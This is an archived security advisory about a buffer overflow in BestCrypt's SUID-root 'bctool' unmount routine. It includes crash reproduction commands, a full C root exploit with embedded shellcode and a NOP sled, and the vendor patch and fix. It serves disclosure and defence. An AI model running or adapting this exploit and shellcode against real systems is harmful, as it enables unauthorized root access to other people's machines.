TUCoPS :: Unix :: General :: bcrypt2.htm

Vulnerability
 BestCrypt
Affected
 BestCrypt 0.6-x -> 0.8-1 (and possibly older versions)
Description
 Carl Livitt found following. BestCrypt is a software utility to
 maintain and use encrypted filesystems. It runs on Win9x/ME/NT/2K
 and Linux. Encrypted filesystems are stored in containers (.JBC
 files) and, under Linux, are mounted as loopback filesystems.
 When mounting an encrypted container onto a point in the
 filesystem tree, the size of buffers that hold the names of the
 mount-point and other paths are checked to make sure that
 overflow situations do not occur. However, when unmounting an
 encrypted filesystem, the same checks are not made and it is
 possible to overflow the buffer containing the name of the
 mount-point and execute arbitrary code as root.
 The problem lies in the 'bctool' binary that is installed SUID
 root by default. Specifically, in the file 'src/bcmount.c' is a
 function called 'bcumount()' that declares a buffer called 'rp'
 that is stored on the stack which has a size of 255 bytes. The
 'rp' buffer holds the name of the mount-point in the filesystem
 and is populated by a call to 'realpath(argv[1], rp)', which
 expands a user-specified path into an absolute pathname and
 stores the result in 'rp'.
 It is therefore possible to create a path in the filesystem that
 is greater in length than 255 bytes and cause a stack overflow
 condition when performing an unmount. If that path contains
 valid shellcode and RET addresses, it is possible to get a root
 shell.
 To demonstrate the stack overflow, you can try the following:
 foo:~> mkdir /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
 foo:~> bctool mount test.jbc /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
 Enter password:
 foo:~> bctool umount /`perl -e 'print "a"x255'`/`perl -e 'print "a"x255'`
 Segmentation fault
 foo:~>
 At the point of the crash, EIP contains the value 0x61616161.
 This is exploitable and has been tested in lab conditions. Here
 is a slightly crippled version of exploit that _will_ need to be
 modified in order to work:
 /*
 * Crippled version of the BestCrypt for Linux r00t exploit.
 * Note: this will not work out-of-the-box. You'll need to adjust it.
 * Script kiddies: don't even think about it.
 *
 * By Carl Livitt (carl@ititc.com)
 *
 * Usage example:
 
 foo:~> id
 uid=500(carl) gid=100(users) groups=100(users)
 foo:~> gcc -o bcexp bcexp.c
 foo:~> ./bcexp
 foo:~> bctool mount /path/to/container.jbc "$EGG"
 Enter password:
 foo:~> bctool umount "$EGG"
 sh-2.04# id
 uid=0(root) gid=0(root) groups=0(root),1(bin),14(uucp),15(shadow)
 sh-2.04#
 
 * RET value will need tinkered with, also you'll find that you need to examine
 * the call history quite closely to make this work ;-) Have a look, you'll see
 * what I mean!
 *
 * You'll also notice there's a fair bit of redundant/messy/debug code in here...
 * This is intended to be an exploit, not an example of good coding.
 *
 */
 #include <stdio.h>
 
 // Chopped up Aleph1 linux shellcode to work in a directory path.
 char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0"
 "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
 "\x80\xe8\xde\xff\xff\xff";
 
 char shellpath[] = "/bin";
 char shellprog[] = "/sh";
 
 // not used any longer
 unsigned long sp() { __asm__("movl %esp, %eax"); }
 
 main(int argc, char **argv) {
 char *p,*p2, path[4096], shell[4096], command[4096], old[4096];
 int i,len, offs;
 unsigned long addr=0xbffff410;
 
 if(argc>1) {
 offs=atoi(argv[1]);
 } else {
 offs=0;
 }
 chdir("/tmp");
 addr+=offs;
 printf("Using addr = 0x%08x\n", addr);
 
 // build a series of NOPs + shellcode and make directory
 p=path;
 for(i=0;i<162-strlen(shellcode);i++)
 *(p++)=(char)0x90;
 p2=shellcode;
 for(i=0;i<strlen(shellcode);i++)
 *(p++)=*(p2++);
 *p=0;
 strcpy(old, path);
 sprintf(command,"mkdir \"%s\"", path);
 system(command);
 
 // add the path to the shell to the shellcode-cum-path
 for(i=0;i<strlen(shellpath);i++)
 *(p++)=shellpath[i];
 *p=0;
 sprintf(command,"mkdir \"%s\"", path);
 system(command);
 
 // add the name of the shell to the shellcode-cum-path
 for(i=0;i<strlen(shellprog);i++)
 *(p++)=shellprog[i];
 *p=0;
 printf("strlen(path)=%d\n", strlen(path));
 sprintf(command,"mkdir \"%s\"", path);
 system(command);
 
 // pad out the buffer with our RET address
 for(i=0;i<172;i++)
 {
 *(p++)=(char)(addr>>16)&0xff;
 *(p++)=(char)(addr>>24)&0xff;
 *(p++)=(char)addr&0xff;
 *(p++)=(char)(addr>>8)&0xff;
 }
 addr=(unsigned long)*(p-4);
 printf("ADDRESS: 0x%x\n", addr);
 *p=0;
 printf("strlen(path)=%d\n", strlen(path));
 sprintf(command,"mkdir \"%s\"", path);
 system(command);
 
 // set environment variable and spawn a fresh shell
 setenv("EGG",path,1);
 system("/bin/bash");
 }
Solution
 Jetico were informed of the flaw and released a new, patched
 version of BestCrypt within 48 hours. Users are advised to
 upgrade to the new version available from these URLs:
 Tarball: http://www.jetico.com/linux/BestCrypt-0.8-2.tar.gz
 Source RPM:	http://www.jetico.com/linux/BestCrypt-0.8-2.src.rpm
 Alternatively, you can edit the "src/bcmount.c" file and replace
 the following line in the "bcumount()" function:
 char rp[MAXNAMLEN];
 with this one:
 char rp[NAME_MAX+PATH_MAX];